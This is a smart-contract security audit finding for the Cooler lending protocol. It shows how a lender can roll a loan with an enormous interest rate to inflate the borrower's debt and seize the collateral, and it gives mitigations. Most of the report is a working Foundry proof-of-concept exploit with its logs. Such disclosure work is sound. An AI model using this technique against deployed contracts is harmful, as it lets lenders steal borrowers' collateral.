castle_chain - malicious lender can force the borrower to pay a much more debt amount to take his collateral , otherwise the Lender force Loan become default

[sherlock-admin2]

castle_chain

high

malicious lender can force the borrower to pay a much more debt amount to take his collateral , otherwise the Lender force Loan become default

severity

high

Summary

a malicious lender can inflate the dept amount with a big number (up to type(uint256).max) , and force the loan become default ,or the lender can force the owner to pay much more amount debt to get his collateral .

Vulnerability Detail

after the lender accepted the terms of the request and call the function clearRequest() and sent the req.amount to the borrower and have a loanId = 0 ,
the lender can call provideNewTermsForRoll() function and pass the same loanToCollateral_ and duration_ as the initial loan and pass a very big loan interest rate interest_ such as 5e30 which is 5e12 % ,
then the lender call the function rollLoan(0) with loanId = 0 and this call will pass all the checks in this function and calculate the newCollateralFor which will be small as it calculated by this :

    function newCollateralFor(uint256 loanID_) public view returns (uint256) {
        Loan memory loan = loans[loanID_];
        // Accounts for all outstanding debt (borrowed amount + interest).
        uint256 neededCollateral = collateralFor(
            loan.amount,
            loan.request.loanToCollateral
        );

        return
            neededCollateral > loan.collateral ?
            neededCollateral - loan.collateral :
            0;
    }

which can be represented by interest / loan.request.loanToCollateral after simplification , this calculation use the interest amount that calculated by the initial interest rate when the loan was accepted by the lender , and the loan.request.loanToCollateral which is equal to the initial loanToCollateral ratio ,
so the lender will pay a small amount of loan , but when calculate the newDept the function interestFor() use the new loan.request.interest which is very very big , so the newDept will get inflated , so this will prevent the borrower from paying the debt and take his collateral .
the newDebt was added here :

        uint256 newCollateral = newCollateralFor(loanID_);
        uint256 newDebt = interestFor(loan.amount, loan.request.interest, loan.request.duration);


        // Update memory accordingly.
 -->   loan.amount += newDebt;
        loan.collateral += newCollateral;
        loan.expiry += loan.request.duration;
        loan.request.active = false;


        // Save updated loan info in storage.
        loans[loanID_] = loan;

Poc

you can run this test and see the result of the manipulation yourself , and see the logs :

import {MockERC20} from "solmate/test/utils/mocks/MockERC20.sol";

import {Test} from "forge-std/Test.sol";
import {console2} from "forge-std/console2.sol";
import {UserFactory} from "test/lib/UserFactory.sol";

import {Cooler} from "src/Cooler.sol";
import {CoolerFactory} from "src/CoolerFactory.sol";

contract CoolerTest is Test {
    MockERC20 internal collateral;
    MockERC20 internal debt;

    address owner;
    address lender;
    address others;

    CoolerFactory internal coolerFactory;
    Cooler internal cooler;

    // CoolerFactory Expected events
    event Clear(address cooler, uint256 reqID);
    event Repay(address cooler, uint256 loanID, uint256 amount);
    event Rescind(address cooler, uint256 reqID);
    event Request(address cooler, address collateral, address debt, uint256 reqID);

    // Parameter Bounds
    uint256 public constant INTEREST_RATE = 5e15; // 0.5%
    uint256 public constant LOAN_TO_COLLATERAL = 10 * 1e18; // 10 debt : 1 collateral
    uint256 public constant DURATION = 30 days; // 1 month
    uint256 public constant DECIMALS = 1e18;
    uint256 public constant MAX_DEBT = 5000 * 1e18;
    uint256 public constant MAX_COLLAT = 1000 * 1e18;

    uint256 public constant ATTACK_INTEREST_RATE = 5e30; // which is too big
    uint256 public constant DEBT_AMOUNT = 10 * 1e18;
    uint256 public constant COLLATERAL_AMOUNT = 1 * 1e18;

    uint256 constant START_TIME = 51 * 365 * 24 * 60 * 60;
    uint256 constant COLLATERAL_DIFFERENCE =
        (DEBT_AMOUNT * INTEREST_RATE * DURATION / 365 days / DECIMALS) * 10 ** 18 / LOAN_TO_COLLATERAL;

    uint256 constant INTEREST_AMOUNT = (DEBT_AMOUNT * INTEREST_RATE * DURATION / 365 days / DECIMALS);

    function setUp() public {
        vm.warp(51 * 365 * 24 * 60 * 60); // Set timestamp at roughly Jan 1, 2021 (51 years since Unix epoch)

        // Deploy mocks
        collateral = new MockERC20("Collateral", "COLLAT" , 18);
        debt = new MockERC20("Debt", "DEBT" , 18);

        // Create accounts
        UserFactory userFactory = new UserFactory();
        address[] memory users = userFactory.create(3);
        owner = users[0];
        lender = users[1];
        others = users[2];
        // deal(address(debt), lender, MAX_DEBT);
        // deal(address(debt), others, MAX_DEBT);
        // deal(address(collateral), owner, MAX_COLLAT);
        // deal(address(collateral), others, MAX_COLLAT);

        collateral.mint(owner, COLLATERAL_AMOUNT);
        collateral.mint(lender, COLLATERAL_DIFFERENCE);
        debt.mint(lender, DEBT_AMOUNT);

        // mint the dept token to the owner to pay the interest
        uint256 interest = DEBT_AMOUNT;
        debt.mint(owner, INTEREST_AMOUNT);

        // Deploy system contracts
        coolerFactory = new CoolerFactory();
    }

    function testStealTheCollateralByLender() external {
        console2.log(
            "the balance of the collateral tokens for the OWNER befor the attack : ",
            collateral.balanceOf(owner),
            "       , the dept tokens ",
            debt.balanceOf(owner)
        );
        console2.log(
            "the balance of the collateral tokens for the LENDER befor the attack : ",
            collateral.balanceOf(lender),
            "     , the debt tokens: ",
            debt.balanceOf(lender)
        );
        console2.log("------------------------------------------------------------------------------------------------");
        vm.startPrank(owner);
        address cooler_ = coolerFactory.generateCooler(collateral, debt);
        collateral.approve(cooler_, COLLATERAL_AMOUNT);
        uint256 reqID = Cooler(cooler_).requestLoan(DEBT_AMOUNT, INTEREST_RATE, LOAN_TO_COLLATERAL, DURATION);

        vm.startPrank(lender);
        debt.approve(cooler_, DEBT_AMOUNT);
        uint256 loanId = Cooler(cooler_).clearRequest(reqID, true, false);
        // uint256 inter = (DEBT_AMOUNT * INTEREST_RATE * DURATION / 365 days / DECIMALS);
        // uint256 collateralDifference = inter * 10 ** 18 / LOAN_TO_COLLATERAL ;

        uint256 oldDebt = Cooler(cooler_).getLoan(loanId).amount;
        console2.log(
            "the old dept that the owner should pay befor the manipulation : ", Cooler(cooler_).getLoan(loanId).amount
        );

        // the lender all the function to provide the new terms
        // roll the loan with the same terms except the rate
        Cooler(cooler_).provideNewTermsForRoll(loanId, ATTACK_INTEREST_RATE, LOAN_TO_COLLATERAL, DURATION);

        // the lender call the function rollLoan and apply the new terms .
        // the lender send the new collateral and which is the accumelated (interest / loanToCollateral .

        collateral.approve(cooler_, COLLATERAL_DIFFERENCE);
        Cooler(cooler_).rollLoan(loanId);
        console2.log("the new dept that the owner should pay :", Cooler(cooler_).getLoan(loanId).amount);

        // the owner try to repay his oldDebt with the right amount before the manipulation , before the expiry time , the amount of token will repay a very small part of the dept and the malicious lender will get back his loan and the collateral of the owner .
        vm.warp(START_TIME + 10 days);
        vm.startPrank(owner);
        debt.approve(cooler_, oldDebt);
        Cooler(cooler_).repayLoan(loanId, oldDebt);

        console2.log(
            "the amount of collateral that is left for the malicious lender  :",
            Cooler(cooler_).getLoan(loanId).collateral
        );
        // the lender take the collateral after the loan is defaulted
        vm.warp(START_TIME + 61 days);
        vm.startPrank(lender);
        Cooler(cooler_).claimDefaulted(loanId);
        console2.log("------------------------------------------------------------------------------------------------");

        console2.log(
            "the balance of the collateral tokens for the OWNER after the attack : ",
            collateral.balanceOf(owner),
            "       ,the dept tokens ",
            debt.balanceOf(owner)
        );
        console2.log(
            "the balance of the collateral tokens for the LENDER after the attack : ",
            collateral.balanceOf(lender),
            "   , the debt tokens: ",
            debt.balanceOf(lender)
        );
    }
}

the LOGS contains the balances for the lender and the owner (borrower) before and after the attack , after the lender force the loan to default and take the collateral from the borrower

[PASS] testStealTheCollateralByLender() (gas: 619153)
Logs:
  the balance of the collateral tokens for the OWNER befor the attack :  1000000000000000000        , the dept tokens  4109589041095890
  the balance of the collateral tokens for the LENDER befor the attack :  410958904109589      , the debt tokens:  10000000000000000000
  ------------------------------------------------------------------------------------------------
  the old dept that the owner should pay before the manipulation :  10004109589041095890
  the new dept that the owner should pay : 4111277913314564064383561643826
  the amount of collateral that is left for the malicious lender  : 1000410958901675256 
  ------------------------------------------------------------------------------------------------
  the balance of the collateral tokens for the OWNER after the attack :  2434333        ,the dept tokens  0
  the balance of the collateral tokens for the LENDER after the attack :  1000410958901675256    , the debt tokens:  10004109589041095890

the logs show that the owner loss all his collateral and all the debt amount when he try to repay the loan , and the balances of the lender increased by the amount that the owner loss .

Impact

the Lender force Loan become default , and the lender also can take all the amount of the debt ,that the owner try to repay the loan with , against a very small amount of collateral as shown in the logs the balance of the collateral tokens for the OWNER after the attack : 2434333 ,
or the lender can force the owner to pay much more amount debt to get his collateral .

Code Snippet

https://github.com/sherlock-audit/2023-08-cooler/blob/main/Cooler/src/Cooler.sol#L377-L389

https://github.com/sherlock-audit/2023-08-cooler/blob/main/Cooler/src/Cooler.sol#L192-L217

https://github.com/sherlock-audit/2023-08-cooler/blob/main/Cooler/src/Cooler.sol#L396-L399

Tool used

Manual Review

Recommendation

there are two ways to mitigate this issue :

1. allow only the owner (borrower) to call the function rollLoan() so the borrower should accept the new terms .
2. update the calculation of the newCollateral to calculate the newCollateral with the new debt amount and with the new interestRate so , if the lender try to inflate the debt he should pay the additional collateral corresponding to it .

Duplicate of #26